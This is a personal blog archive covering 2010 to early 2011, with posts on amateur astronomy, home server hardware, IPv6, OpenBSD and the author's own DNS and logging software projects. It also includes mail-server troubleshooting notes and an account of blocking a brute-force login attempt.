I totally forgot to blog about it. The computer that I "conceived" of as written below, well I got it. It cost more than I had hoped. Anyhow now I got a four core CPU and I want to put a bit of load on it. So I went back to seti@home and I'm running their windows 7 client. It's nice. I'm using all four processors in windows 7 with 25% load so it turns out about the same load as one core. I've already finished 2 workunits and I'm pretty happy.

Also notice the goldflipper image has changed. Before was ripped from somewhere and this one I drew all by myself.


Random Hackepedia

May 29th, 2010

The RH for this week is Tor.


My Internet-Registration Nightmare

June 1st, 2010

So I bought windows 7. For 199 euros. How stupid of me, let me explain why. When I bought Windows 7 I also bought vmware Workstation 7 as an upgrade to Workstation 6 so that it would make use of the graphics cards accelleration. Back then I still had my Athlon 64-3500+ and graphics accelleration didn't work on it. Anyhow back then I couldn't run 64-bit vm's either and I had to install Windows 7 in a 32-bit vm. When I got my new computer that changed. I copied the vm over to it and ran it for a while with no problems. So a few days ago I installed the 64-bit version of Windows 7 and gave it the activation code and didn't notice it didn't accept it until today (4 days later). When trying to activate with my activation code repeatedly it didn't work. So then I tried to get Microsoft support and they wanted a Product-Id (PID) code from me. Their website only showed how to get it for XP, Vista but not for Windows 7 so I painfully found it and entered it and then they said it expired. So I booted the 32-bit windows 7 vm and their website blew up.. it then said the other PID expired as well. So now I'm pretty well stuck with 32 bit windows 7 (boohoo) since it's at least activated. (What do people do when their computer blows up and they have to reinstall?). If you think that was all that's nothing. When I moved my anti-virus over it disabled the anti-virus on the 32 bit windows 7 and there is no knob to turn it off and give the subscription back to the 32 bit anti-virus. So now I got a 64 bit un-activated version with a working anti-virus and a 32 bit activated version with no working anti-virus. This is a major mess in my view and I'm not to blame, I simply tried to make use of a product I paid for and switching from 32 bit to 64 bit version is as innocent as it gets. This cost my mental health, I hate Microsoft for it. And for the first time with online registrations the Internet is as useful as a dead doorknob.



Saturn, Mars, Venus alignment on the 21st

June 2nd, 2010

I found this article on physorg talking about the alignment. So I fired up xephem and changed the time to 10 PM on June 21st in Frankfurt, Germany and this is what the western sky at an elevation of 41 degrees looks like when zoomed in a bit.

It may make a good snapshot. Also remember that the 21st is the Summer solstice. So the date is easy to remember.


Changed blog to PHP

June 5th, 2010

I've changed the blog to use PHP. I did this because of the following reasons:

Well I hope that explains it.


Random Hackepedia

June 6th, 2010

I forgot to do Hackepedia this Friday so here it is. Logging.


Facebook does IPv6

June 13th, 2010

I read that facebook is IPv6 capable at the address www.v6.facebook.com. This is great! I'll try it out when I get home.


What does the future hold?

June 14th, 2010

I have 4 sourceforge projects. Natally, Wildcarddnsd, Cryologd and twh. What is the future for them? Well I've given it a bit of thought on my summer break and here is the rough outline of the coding that I want to do.

Natally does tunneling real well. And it's encrypted however what I'd like to see from it is that it does address management as well so that clients connecting to it can connect to each other through the tunnels. Also when IPv6 comes along on my VPS I'd like to do a NAT feature for IPv6 because the addresses given to my VPS are going to be finite and I want to make use of them with the tunnels somewhat.

Wildcarddnsd is growing. The next big change planned for it is going to be a recursive server that allows me to change all my nameserver settings in resolv.conf be changed to my wildcarddnsd servers. The complexity is quite high so this may drag on. In my planning I've included an ascii drawing in the code for the code execution flow on how I think it should be done.

cryologd has been doing pretty well. Other than a condition where it exited for no reason (I think I got that fixed) there is not too much that needs to be done. One thing that the crypto code needs is an HMAC at the end of each frame for authentication which gets rid of the password exchange which may make this code a bit more robust and fluent. Changes going into cryologd can also be ported to natally as that's where it originated.

twh has been considered for removal on sourceforge. I don't plan to do development on it anymore but having the code resource on how to do the Berkeley DB stuff for example may be a good thing to have. Wish I had the time for it.


Random Hackepedia

June 18th, 2010

The RH for this week is Ohm's law.


The Milky Way Galaxy

June 26th, 2010

I came across this image on wikipedia...

I couldn't help but notice that the constellations were marked into it so that you have somewhat of an idea where the earth is (in relation to the sun) . If you've been reading this blog continuously you might have seen pictures of Orion which was in the southern sky around midnight in winter. Now it's summer and almost in the southern sky at 12 midnight is Sagittarius. So then we're looking at the galactic center when it's summer, from our arm of Orion-Cygnus. This is really cool IMO, so then we're going to look at Cygnus constellation in Autumn and back to Orion in winter again. The southern sky around the eliptic is a giant rotating window and it's fun to see the constellations. (The program xephem helped me a lot as well).

I'm going to try to give these abbreviations names for you:
OriOrionDecember
CmaCanis MajorJanuary
PupPuppisFebruary
VelVelaMarch
CenCentaurusApril
NorNormaMay
SgrSagittariusJune
AqlAquilaJuly
CygCygnusAugust
CepCepheusSeptember
CasCassiopeaOctober
AurAurigaNovember
More abbreviations of constellations are here. I've added the names of the month when the constellation is best seen at mid night looking south.


The Arecibo Message

June 27th, 2010

Given the chart in the article below then, here is the approximate path the Arecibo message is taking through our Galaxy. The Arecibo message was an attempt at seeing if making contact with another world was possible. Here is the wikipedia article on it.

As you can see the message will travel through a pretty big chunk of our Galaxy. It will probably have countless opportunities to be picked up. So far the message is probably 36 light years away from our planet. Also the message won't be travelling in a straight line either as einstein's theory tells us that even light (or radio waves) will bend with influence of gravity from stars. This graphic is just an approximation.


The Summer Triangle

June 28th, 2010

Yesterday we were blessed with clear skies and I took the opportunity to take photos of the summer triangle. Which consists of the stars Deneb, Vega (shown) and Altair at the vertices. We were lucky to get them all into one shot.

There is a large version found here.


Doing Docking@Home

June 29th, 2010

I was doing setiathome and einstein at home, but setiathome usually has no work to give and einstein at home always produced calculation errors with my boinc client. So now I've replaced einstein@home with Docking@home.

Docking@Home is a project which uses Internet-connected computers to perform scientific calculations that aid in the creation of new and improved medicines. The project aims to help cure diseases such as Human Immunodeficiency Virus (HIV).

When there is seti work one out of the two cpu threads work on it, and currently I have two threads working away at it (two is equivalent to one core).


The Korean incident: tcpwrappers

July 3rd, 2010

I was checking my logs yesterday when I noticed that someone from an IP in Korea was trying to brute force my pop3 daemon. I noticed after they got about 6000 attempts in. So I looked at wrapping them with tcpwrappers. The pop3 daemon on the outside of solarscale.de is Dovecot and they by default don't have tcp wrappers support. But there is a patch. So I applied it and noticed that some hunks of the patch failed. Particularely near the configure scripts so I ended up editing config.h myself and added the define for tcp wrappers in it. Then I built it and noticed that it would bomb out in 2 spots, all it needed was an edit in the Makefile to add "-lwrap" in the LIBS= line. Then it built. When it was installed I noticed that my changes to /etc/hosts.{allow,deny} were not effective. So I did a bit of googling and read that Dovecot is chrooted. So it was just a matter of finding the chroot and putting its own hosts.deny in there. It worked. So now only a select number of hosts can use the pop3 service.

goldflipper% telnet solarscale.de 110
Trying 62.75.160.180...
Connected to solarscale.de.
Escape character is '^]'.
Connection closed by foreign host.

The patch is found here.



Random Hackepedia

July 3rd, 2010

The RH for this week is Password.

This seems fitting since I just changed my passwords myself.


Fire has SSL support

July 7th, 2010

Believe it or not I have made an IRC client. It's called fire and I've coded SSL support into it yesterday and today. The SSL functionality seems to be stable, you can download the source code here.


Watching the ISS

July 9th, 2010

The past few days in Germany have been hot but the nights are cooler with mostly clear skies. This gave me an opportunity to see the ISS twice in the late evening (around 11PM). Once it was unexpected and we weren't sure what it was. The second time I got the data from the NASA sightings page, which is found here.

The space station looks like a flying jet but you'll notice that it doesn't blink nor does it have red and green lights. It's just a continuous and steady crossing of the sky mostly coming from the west towards the east. Without the moon and planets it's probably the brightest object in the sky as it zips at 28,000 Km/h's into the night. Anyhow it was a nice experience seeing this (it was my first time).


Random Hackepedia

July 16th, 2010

The RH for this week is Pid.


SSL_accept error from host: -1

August 2nd, 2010

My dad has a mac powerbook (or macbook or something) and I tried to make it work with my mail server. POP3 SSL worked but postfix SSL for SASL authenticated relay did not. I use a self-signed certificate and that was the problem. I couldn't paste the error message from the Apple Mail.app but it said something like the remote host did not accept SSL. I wasn't about to try it without SSL because the password is sent in the plain then. The postfix server gave this error message:

Aug  1 22:57:42 proteus postfix/smtpd[12251]: connect from p54AAB41C.dip.t-diali
n.net[84.170.180.28]
Aug  1 22:57:42 proteus postfix/smtpd[12251]: SSL_accept error from p54AAB41C.di
p.t-dialin.net[84.170.180.28]: -1
Aug  1 22:57:42 proteus postfix/smtpd[12251]: lost connection after STARTTLS fro
m p54AAB41C.dip.t-dialin.net[84.170.180.28]

As a first diagnosis I tried the openssl s_client method to see if it can connect to my postfix server, and it could so it must have been in the Apple Mail. Also for self assurance it worked in Ubuntu and Windows 7 so why not in Mac OS X Leopard.

So I did a bit of googling and learned that Apple's mail program did not accept the certificate given to it because the hostname in the certificate was wrong and just gave up (in the process blaming the server for giving up!). There is a way to force it though. I downloaded the servers CA certificate file which has a .pem extension (this is not the private key!) and double clicked on it in Mac OS X.

smtpd_tls_CAfile = /etc/postfix/ssl/cacert.pem
It then asks you if you want to import this certificate into the keychain manager and from there you can tell the system to trust and allow this certificate everywhere. Soon after that I had to set the outgoing mail server again in Mail.app but it worked this time and a few test e-mails made it out SSL encrypted.

I thought I'd write this down as I'm probably going to be faced with it again some time in the future.


Random Hackepedia

August 6th, 2010

The RH for this week is Uid.


Cryologd fixes a memory leak

August 10th, 2010

The program in cryologd with the name of "cl" had a memory leak. It wasn't apparent when there was little data that it processed, but with lots of concatenated encrypted data which it decrypts to plaintext, the memory leak was apparent. 2 lines change, here is the source.


Random Hackepedia

August 14th, 2010

The RH for this week is One Way Hash.


Stupid Nettricks

August 21st, 2010

On February 24th, 2009 I blogged about the traceroute tricks. Here is the link. I've updated this to include IPv6 now and I've written a small hackish program that does this as well. This took up 1.5 days of mine for a show such as this:

cordelia$ traceroute6 mimas.centroid.eu 
traceroute6 to mimas.centroid.eu (2001:a60:f074::20) from 2001:a60:f074::1, 64 hops max, 12 byte packets
 1  xxx.hello.xxx.centroid.eu  1.066 ms  0.269 ms  0.378 ms
 2  xxx.why.xxx.centroid.eu  0.464 ms  0.503 ms  0.358 ms
 3  xxx.are.xxx.centroid.eu  0.614 ms  0.658 ms  0.897 ms
 4  xxx.you.xxx.centroid.eu  0.556 ms  0.361 ms  0.338 ms
 5  xxx.tracerouting6.xxx.centroid.eu  0.472 ms  0.499 ms  0.411 ms
 6  mimas.centroid.eu  0.3 ms  0.478 ms  0.318 ms
cordelia$ 

It's just vanity. It's a net-trick. Well at least I didn't play civilizations and waste time. In the meantime I've learned about divert(4) sockets in OpenBSD and even submitted a documenatation fix for pf.conf(5).


Worry about IPv6?

August 22nd, 2010

Someone (tydel) made me aware of this article named Why you shouldn't worry about IPv6 just yet. I'd like to counter-argument this article somewhat. I'll focus on the highlights.

Cassidy says that "According to these networking experts, we're only a matter of months, or maybe weeks, from network Armageddon".

What you have to realize is that converting to IPv6 on the server side isn't the end of the migration. All your customers will have to move to IPv6 as well and some will be left behind because some owners of networks are probably a bit lazy to do a migration. So that means that if you want to run your business online, in order to get the full potential customer base you'll have to run IPv4 and IPv6 dual stacked so that you can satisfy both, until everyone is speaking IPv6. And since space is running out on IPv4 an IPv4 address may be a lot more expensive than an IPv6 address due to scarcity. Eventually there may not be any more IPv4 addresses to give out so this is the reason for dooms day calls.

Cassidy goes on to say "In fact, IPv6 starts to look a lot like IPv2 if you consider that the default v6 address for your machine finishes with its MAC address".

So I'm unsure what he means to say here. Perhaps he's worried that a MAC address is a secret thing and that if you know the MAC address you can use the MAC restricted access point? AFAIK an 802.11 packet encrypted or not still has 3 MAC addresses in its header (see /usr/src/sys/net80211/net80211.h) so these aren't secret to someone close to sniffing the radio. So he has no point really.

Cassidy goes to conclude in the second last paragraph: " Is there an IPv6 "killer app" yet for smaller networks? No. Is there any reason based on security or ease of management - unless you're running a 100.000-seat network or national-level ISP - for you to move up to it? No.".

I think he's wrong there. Sure there is no "killer app" unless you call facebook a killer ap (but facebook runs on IPv4 as well). But it's especially the small ISP's that could benefit from a migration to IPv6. National level ISP's have huge resources and are out to compete with small ISPs and steal their customers, and IPv6 means independence from these large networks. It means that small ISP's keep their customers from switching to large ISP's that have IPv6 enabled. This is a bonus. Plus, being on a small ISP means that they give you something that the large ones don't and not usually the opposite.


Windows 95 turns 15

August 24th, 2010

This story was written August 25th, 1995. Windows 95 is now 15 years old. I never had Windows 95, 98, 2000 but skipped them all other than XP and Windows 7. Back in 1995 I chose another true 32 bit Operating System. It was called Linux and I got it in spite of Windows 95. I think I made the right decision even though I switched to FreeBSD half a year later. It took only 2 odd years after this feat that I got a System Administration position at an ISP. I don't think I would have been a UNIX sysadmin had I installed windows 95 back in 1995, it was a turning point.


Random Hackepedia

August 28th, 2010

The RH for this week is manual.


Randombot beta

September 5th, 2010

One reason why Google has so much market share is that other people who don't use advertising don't use their resources to their fullest. Even though this blog has advertising it advertises on a voluntary basis and only for the open source projects (*BSD's). I looked at my server habits and noticed that I was using only 5-15GB traffic out of 512GB alloted to my vps plan. That's only 3%. I decided that I wanted to raise that traffic a little to perhaps 33%. Some people have suggested I put some porn on my website, but I don't have any porn to put up nor do I really want to serve pornography.

So I've written randombot. Randombot is a web spider that instead of looking up Internet names it just queries IP addresses and looks for default web pages. I've been running it 3 days now and it looks promising in raising my traffic. It also caches the content given to it, so far I have several hits on business sites to a farm sitter operation in australia. It delights me seeing someone elses website that randombot found, even though I can't use someones small business in virginia or somewhere. And I would have never _ever_ come across these sites if I were to google. Anyhow so far randombot is found at solarscale.de/randombot if anyone wants to check it out they can.

I do realise that there is a lot of websites that can't be reached because they don't use an IP solely for their website. That's tough. Also if you happen to come across porn with randombot please report it, I'll remove it, I've found some shocking stuff with randombot that I've deleted already.


God didn't create the Universe?

September 6th, 2010

Stephen Hawking says god did not create the universe. I'm not such a believer in god. I'm not even sure if god is still alive. But I do believe that god created the universe. It may have been a lot smaller back then, but it had to be a mechanism that created it. And I call that mechanism god. God doesn't look like us I believe and I surely don't think god chose our earth to live out his days with us. No. God is somewhere else or dead, but what we have, the laws of nature, the universe and the possible multiverse were all created by this creature. If god didn't create the universe then I don't think it's a true god, but rather a steward to the creator. Not quite the same thing. Peace.


Randombot is off

September 8th, 2010

Well I got a cryptic email from the abuse department of my provider. Apparently I tripped over some honeypots and they thought randombot was a conficker.c type program. There go my plans on providing a search engine similar to Google! :-(. Randombot is off indefinitely.


The inside of uranus.centroid.eu

September 9th, 2010

It's my pride and joy. This (avi, 7MB) is uranus.centroid.eu. That's how it looked like on the first day I got it. I use the video to look inside it to know what slots the RAM is located, the vidcard is located and see what sort of expansion I can put into it. Right now it's changed a little. It has a second SSD card for the OS and I also put a PCI NIC in there for expansion of network stuff. There is also a chance that I'll be getting pluto, my parents old computer, I'll be networking that to uranus then. Also worth mentioning is that I recently found out that I don't get lockups if I turn off Hyperthreading, but I just can't live without Hyperthreading so I turned Speedstep off and it became just as stable.

PS: Yes this is really uranus2 but the old uranus was renamed neptun (no e, for german version of neptune) and my parents have it now. The next computer will likely be named saturn and then jupiter, mars, earth, venus, mercury, sun.


Pre-ordered OpenBSD 4.8

September 11th, 2010

Well, I just pre-ordered OpenBSD 4.8 , for the maximum in Internet security. I bought it from OpenBSD Europe and with shipping, shipping insurance and paypal fees this cost 49.86 euros. Much better than the cost of Solaris these days. With every newer release OpenBSD releases a song. You can listen to it here.


Random Hackepedia

September 17th, 2010

The RH for this week is Syscall.


Wildcarddnsd recurses!

September 19th, 2010

Update: whoops it has a bug, that causes a flood on a set of nameservers, I'll have to fix that. I hope noone is testing this just yet.


Equinox in a few days

September 19th, 2010

Well it's here again, twice a year and this is the second time. Yes it's the Equinox. To be precise it's on September 23rd, at 3:09 UTC. It also marks the first day of autumn in the northern hemisphere. The southern hemisphere moves into spring.


Random Hackepedia

September 24th, 2010

The RH for this week is ctime.


Possible solution to lock-ups? Turn HT off.

September 30th, 2010

Ok so uranus.centroid.eu is a computer with the following specs:

The Operating System that runs on it is Ubuntu 10.04 LTS and gives this:
pjp@uranus:~$ uname -a
Linux uranus 2.6.32-24-generic #43-Ubuntu SMP Thu Sep 16 14:58:24 UTC 2010 x86_64 GNU/Linux
I run the Gnome desktop on it and now that Hyperthreading is turned off it has four not eight cpus. Basically I want to say to anyone who wants to buy such a system as mine to reconsider. I'm plagued with lock-ups and only now that I have turned hyperthreading off in the BIOS has it been stable (so far). The downside of having hyperthreading turned off is that programs start up slower in my opinion although they get a decent instructions per second benchmark from BOINC. I also run BOINC (seti@home) on this machine as well as Vmware Workstation 7.1.1 (x86_64 version) with at least 7 guests at any time.

Operating systems that run on this VMware Workstation are:

Occasionally I look at BIOS updates for the motherboard but as of last month I had the highest version available.

I use the system for programming, system administration support (with vmware this is easy) and everyday tasks. I don't game, this is not a gamer system for me. I do use iTunes as I had a brief Mac OS X history.


Wildcarddnsd now over 10,000 lines of C code

September 30th, 2010

Well, I've been anticipating this for a few weeks now. Wildcarddnsd grew to over 10,000 lines of C code. It's not all my C code though. I added some outside code (code re-use) with the recursion stuff. There is the arc4random() code from OpenSSH and the checksumming code from tcpdump, both licensed with a BSD license so it's compatible to wildcarddnsd's BSD license.

# wc -l *.[ch]
     440 additional.c
     161 bsd-arc4random.c
     180 db.h
     168 dns.h
      40 endian.h
      73 include.h
    2565 main.c
    1236 parse.c
    2288 recurse.c
     255 region.c
    2444 reply.c
     183 wildcard.c
   10033 total

Wildcardnsd will likely grow beyond this as there needs to be new code put in place to make CNAME linking possible (as well as CNAME loop detection). To make domains such as www.yahoo.com or wildcarddns.cvs.sourceforge.net work.


Happy Anniversary FSF!

October 5th, 2010

Well slashdot made me aware of this. Yesterday the FSF turned 25. I think I even donated some duckets to them in the past too because I remember I got a note from FSF Europe thanking me or something. I'm not living in some fantasy world, currently, and reality is that OpenBSD which is my favourite OS still uses the GNU compiler, gcc, and debugger, gdb as well as gas, objdump and other utilities from the FSF. I use gdb and gcc quite often in my development of open source software and so I gotta say thanks again! Perhaps I'll make a donation in the future again.


Random Hackepedia

October 9th, 2010

We haven't had a random hackepedia in a while, and today I want to do something a bit different. It's the not-so random hackepedia. I've been working on a C Primer at Hackepedia over the last few months and want to show you the Primer. Just click on the link, I hope you can make something of it.


Observing Alpha Persei

October 17th, 2010

Unfortunately I wasn't able to make a picture of this but I'll just put an xephem screenshot out. I observed Alpha Persei aka Mirfak at NEE (60 degrees azimuth) at an altitude of about 30 degrees tonight at 9:44PM. I couldn't help but notice that the star was flickering but that could have been our atmosphere at work.

Perhaps you noticed it too, I'm waiting for Capella to rise beyond the hill that's in the way, btw.

PS: it turned out I made a mistake with the degrees altitude, the star was actually Capella , but I located Alpha Persei after that as well (at 50 degrees altitude). That means I saw Capella flickering instead of Mirfak.


Downtime Wednesday/Thursday

October 19th, 2010

On the night of Wednesday at 11PM CEST until 8AM Thursday morning CEST, proteus the main solarscale.de/centroid.eu server will be down. So there might be a service interruption in reading this blog (oops). Proteus is moving to Strasbourg, France from Frankfurt, Germany. The details on Europes greenest data center where this is moving are found here. I'm gonna see if I can move the DNS balancing to the Panama VPS for the time being (I just hope I don't forget to undo it after the move).

PS: The maintenance went fine.

Oct 20 23:13:06 proteus exiting on signal 15
Oct 21 05:50:23 proteus syslogd 1.4.1: restart.
That's the time that proteus was off for. So roughly 6 and a half hours. The position of proteus in the network hasn't changed much, there is a 3 ms difference and the routers are the same except for 1 new address. But proteus is in France now, not Germany.


Multiculturalism dead? Is melting pot better?

October 20th, 2010

This past weekend german Chancellor Angela Merkel declared multiculturalism dead in Germany, and the key word for strive is now "Integration". This means people who immigrated to Germany have to learn the german language foremost and try to fit the norm. To me it just means giving up. In the model of culture, multiculturalism is the hardest to sustain. Just like in the model of politics democracy is weaker than a dictatorship. But we don't want to go there because dictatorships are politically incorrect, yet, they are easy to have. Just like the melting pot. I don't know how long Germany had multiculturalism. It was even the first time I heard of it this weekend, meaning it barely touched the population. But I'm pretty sure that the so- called multiculturalism will have left a minute trace of positive in the fabric of culture. Something that Angela Merkel and her exceedingly right shifting party will.. or may never get. The harder a civilization tries to uphold the weak, different, and minority the stronger it is in its roots, and the more likeable it is in the end.



Random Hackepedia

October 22nd, 2010

The RH for this week is Tail.


My dream, triple redundancy

October 22nd, 2010

I made this picture with xearth and it shows the VPS's I have except in singapore. I'd like to have a VPS in Singapore too but it's expensive last I checked (something like 50 singaporean dollars which is like over 20 euros a month). If centroid.eu ever makes money I'll consider the singaporean VPS and balance traffic globally in such a manner that ASIA-Pacific traffic goes to Singapore, EMEA traffic goes to proteus which is in France and Americas traffic goes to goldflipper.net which is in Panama.


Got OpenBSD 4.8 in the Mail

October 25th, 2010

Well, I got the OpenBSD 4.8 CD's in the mail today. I'm very happy about this. I'll be building dione.centroid.eu with this soon.

I made an install video (like I do every release) you can watch it here.


Glad to be of help

October 31st, 2010

OpenSMTPd the OpenBSD mail daemon that is in the works, had a call for testers on the new DNS code that the daemon is using. Due to my work with wildcarddnsd I'm somewhat familiar with DNS and was able to make a contribution. Not in the form of patches which would have been nice but questioning whether the opensmtpd dns code withstood a certain scenario. It turns out given a second opinion that I was "totally right". This really made me happy and the opensmtpd is more robust as a result. This is why open source is so good because people can read the code and spot errors before they write exploit code to stress test an application (black box). If I had to write the exploit code it would have taken way more time than what it took up.


Random Hackepedia

November 5th, 2010

The RH for this week is nfsd.


More IPv6 news from the BBC

November 11th, 2010

Vint Cerf is in this BBC article warning over the IPv6 change. Date when we run out of addresses is set at 2012.


Random Hackepedia

November 12th, 2010

The RH for this week is Wait


New patchrelease for wildcarddnsd

November 15th, 2010

I should have done this a long time ago but I just released the file wildcarddnsd-beta5p4.tgz to sourceforge, this has a fix that makes the tcp and udp interaction on the server more reliable. The download is here and the branch for BETA_5STABLE is here. If you get TCP requests to a running wildcarddnsd you really want to get this.

In other news, I'm delighted to say that people from Indonesia are the top downloaders of wildcarddnsd according to the stats at sourceforge.net. Thank you! Next are Indians and Russians in the top three. Thanks to you too. I noticed a lot of asians are interested in wildcarddnsd, which is cool.

As for BETA_6 it will probably take until next year. BETA_6 will have recursing and caching. It has it in -current now but it's broken somewhat and needs a good debugging.


Ordered two books

November 21st, 2010

I just ordered 2 books from Amazon.de. One is Pro DNS and Bind from Ron Aitchison and the other is called "DNSSEC" I'm unsure of the author. The latter is a compilation of RFC's and other material related to DNSSEC, which I want to use in my implementation of wildcarddnsd. Hopefully the books will help me understand DNSSEC better so that I can implement this in the authoritative server side soon.


Random Hackepedia

November 26th, 2010

The RH for this week is TCPdump


Donated to FreeBSD

November 26th, 2010

I shoulda done this a long time ago but I finally got some money in my paypal account and I donated 10 dollars to the FreeBSD Foundation.

I hope they can use it wisely.



Math Problem (angle to satellite)

December 1st, 2010

Here is a math problem. Get out your old Trigonometry notes and solve the following. A satellite (Galaxy 15 for illustration purposes) is 35,779 kilometers above the surface of the earth in Geostationary orbit. Given that the earth has a radius of 6371 kilometers find out what the angle from the ground to the satellite is given that someone stands at 49 degrees north. Here is a picture:

Line ACB is perpendicular to line EC (6371 kilometers). Line EBD is 6371 kilometers + 35,779 kilometers, so 42150 kilometers. What we're looking for solving is angle BCD.


Random Hackepedia

December 3rd, 2010

The RH for this week is Ethereal


2010, a look back

December 10th, 2010

Last year we had it on December 23rd, this year a bit sooner. Here is a sum-up from the year that passed.

January 6th  - new project "cryologd" which encrypts log files

January 22nd - Oracle buys Sun.

January 27th - 24 years of computing history for myself.

February 15th - ordered Bruce Schneiers "Cryptography Engineering" book.

February 17th - OpenSMTPd bug identified and fixed.  This bug was a remote
		DoS on the smtpd.

March 9th - Wildcarddnsd at BETA_4.

March 16th - got a digial camera for my birthday.  Point and shooter.

March 20th - OpenBSD releases the 4.7 song about superpuffy.

April 18th - graphics on this blog were changed.

May 10th - ICANN releases International domain names to the public.

May 21st - My friend Dan Moschuk passes away.  RIP Dan.  You'll be 
		remembered always.

May 25th -  I registered goldflipper.net.

May 26th - I purchased a new computer, a Core i7-930 beast with 8 gigs of ram.

June 5th - this blog now uses PHP in order to serve random open source ads
		as well as easing the updating of the history.

June 13th - Facebook does IPv6 at http://www.v6.facebook.com, have always 
		used it since.

June 21st - Saturn, Mars and Venus are in a straight line alignment a very
		rare celestial event.

June 29th - Started Docking@home on my computer.  The project aims to help 
		cure diseases such as Human Immunodeficiency Virus (HIV).

July 3rd - noticed that some koreans tried to brute-force into my computer
		via pop3.

July 7th - coded SSL support in my fire irc client.

July 9th - saw the ISS for the first time in orbit from earth.

August 24th - Windows 95 turns 15 years old.

September 5th - coded Randombot which randomly searches for web pages out
		there.  ISP cuts it off due to it similarity with conficker.

September 19th - Wildcarddnsd-current recurses but is far from stable.

September 30th - Wildcarddnsd grows beyond 10,000 lines of code.

October 5th - the FSF turns 25.

October 25th - got OpenBSD 4.8 in the mail.

October 31st - helped fix an OpenSMTPd bug in the new DNS code.

November 21st - ordered 2 books from Amazon.  Pro DNS and Bind and DNSSEC.
		Both are excellent books.

November 26th - donated 10 USD to FreeBSD Foundation.  They deserve it.

December 10th - decided to scuttle proteus.solarscale.de vps in favour for
		a soekris board.
I have mixed feelings about this year...


New Plans in the centroid network

December 10th, 2010

If you haven't noticed already, I've switched the dns records for solarscale.de and centroid.eu to goldflipper.net solely. This is in anticipation of quitting the proteus.solarscale.de vps. Instead what I'm going to do for europe is buy a soekris router, that has no fans or drives and make that a permanent presence on the internet off my DSL. I'm keeping the goldflipper.net VPS for now. I've also been looking around Asia and Europe for a replacement VPS but I'm not sure I really need it. So why am I doing this? There is many reasons I'm going to list a few here:

Well that's just some of the reasons.


A million eyeballs for Theo

December 17th, 2010

Recently, Theo de Raadt, the founder of OpenBSD and hacker hero has made this announcement. In it is an allegation that a member of OpenBSD put backdoors into OpenBSD code for the FBI. A code review will result of this. Just, who is going to do this? Theo then voiced his frustrations with the OpenBSD community because our trust level is too high with the developers. He wants us to be less lazy and review code and say something when something is out of the ordinary. He doesn't believe in Eric Raymonds statement of "many eyes make bugs shallow".

Here is my idea. I want a PAGER, or an EDITOR that reports to OpenBSD at what code I'm currently looking in, how long I'm looking at a certain section of the code, what host I'm from and how idle I am and of course the time of date. The editor or pager is voluntarily used by the community and gives feedback to the OpenBSD high command how many eyes really are looking at the code. Who is looking at the code is another question that may be evaluated because a novice programmer trying to read kernel code will likely get confused and won't be much help in solving complicated structures of the code. In the end I'd like a graph made that shows exactly what areas have been "audited" by eyeballs and which areas are neglected. It should also show which areas get special attention, perhaps indicating a non-bugfree zone. Anyhow I want to show Theo that we do occasionally read the code, and the small community does too. We're really small only a few thousand on the mail list according to majordomo, so... I think this would really really help us as a community.


Administrivia

December 17th, 2010

When should this blog start to forget? This question has been with me for some time now. The idea is that after some time data and metadata should get deleted. I'd like to see this in search engines such as Google, personally. So I should practice what I preach. I'm going to make this blog a first in/first out queue with a buffer length of 25 pages. This means that possibly in February of 2011 I'll start deleting January of 2009. We'll see how it goes.


Random Hackepedia

December 17th, 2010

The RH for this week is Multicast.


December Solstice coming up

December 17th, 2010

On December 21st the sun is at solstice again. For us in the northern hemisphere it's at its lowest point of the year at high noon. To explain it best take a look at this analemma photo provided by NASA last year. The picture is a composite of pictures taken at the same time every day. The lowest point is where the December solstice would be (for the northern hemisphere).


Merry Christmas

December 24th, 2010

Merry Christmas...


Math Problem solved, new problem

December 25th, 2010

I got a scientific calculator for Christmas. (A Casio fx-85ES). With it I solved the math problem from December 1st. The angle BCD is 33.7829 degrees. This would be the elevation of the satellite dish pointed at the satellite if it were exactly south (or on the same longitude). Now in reality a satellite is rarely on the same longitude but rather a bit off by a few degrees. Find out the elevation of the satellite dish if your latitude is 49 degrees and your longitude is 0 degrees (puts you in France somewhere). The satellite is in 20 degrees West longitude. Also find out the angle that your satellite dish should be moved toward west. Once you have finished these steps create a C program that solves for the following input 1) altitude (height) of satellite, 2) orbital slot of satellite (longitude), 3) your position in longitude and latitude. The output should be the elevation of the satellite dish and the East/West alignment of dish.

Update: In effect do this.



Random Hackepedia

December 31st, 2010

The RH for this week is Tcpdump.


IPv4 Exhaustion Counter

January 1st, 2011

I've put the IPv4 exhaustion counter on this webpage. It's at the bottom right column. As of January 1st we have 48 days left. Hello IPv6!

I habe den IPv4 Erschoepfungszaehler an diese Webseite verlinkt. Es ist unten rechts auf der Seite. Seit dem ersten Januar haben wir noch 48 Tage bis zur erschoepfung. Hallo IPv6!


Could this blog become bilingual?

January 1st, 2011

I'm toying with the thought of making this blog bilingual english/german.

Ich spiele mit dem Gedanken, diesen Blog zweisprachig (Englisch/Deutsch) zu machen.


Book wishlist

January 2nd, 2011

I found this book at Amazon that I want to get to help me with my math problem from last year. Here is the book.

Ich habe das oben verlinkte Buch auf Amazon gefunden. Ich denke es koennte helfen mit meinem Mathematik problem vom letzten Jahr.


Got the Lanner!

January 4th, 2011

I got the Lanner today. After figuring out the com0 console thing I was able to boot OpenBSD on it. I still need a SATA SSD for it which will arrive in the next few days. I'll post a full dmesg once I get it installed.

Ich habe heute den Lanner bekommen. Nachdem ich erst mal herausfinden musste wie die com0 Konsole geht habe ich auch OpenBSD stiefeln koennen (:-)). Ich brauch noch die SATA SSD fuer dieses ding, es wird noch ein paar Tage dauern. Sobald ich OpenBSD installiert habe werde ich eine dmesg posten.

The below is a comparison with a cigarette lighter. That's how small it is.


OpenBSD + Lanner FW 7530B dmesg

January 5th, 2011

OpenBSD 4.8 (RAMDISK_CD) #89: Mon Aug 16 09:24:20 MDT 2010
    deraadt@i386.openbsd.org:/usr/src/sys/arch/i386/compile/RAMDISK_CD
cpu0: Genuine Intel(R) CPU N270 @ 1.60GHz ("GenuineIntel" 686-class) 1.60 GHz
cpu0: FPU,V86,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,CFLUSH
,DS,ACPI,MMX,FXSR,SSE,SSE2,SS,HTT,TM,SBF,SSE3,MWAIT,DS-CPL,EST,TM2,SSSE3,xTPR,
PDCM,MOVBE
real mem  = 1064652800 (1015MB)
avail mem = 1040326656 (992MB)
mainbus0 at root
bios0 at mainbus0: AT/286+ BIOS, date 11/25/09, BIOS32 rev. 0 @ 0xf0010, 
SMBIOS rev. 2.4 @ 0xfc990 (28 entries)
bios0: vendor American Megatrends Inc. version "080015" date 11/25/2009
acpi0 at bios0: rev 0
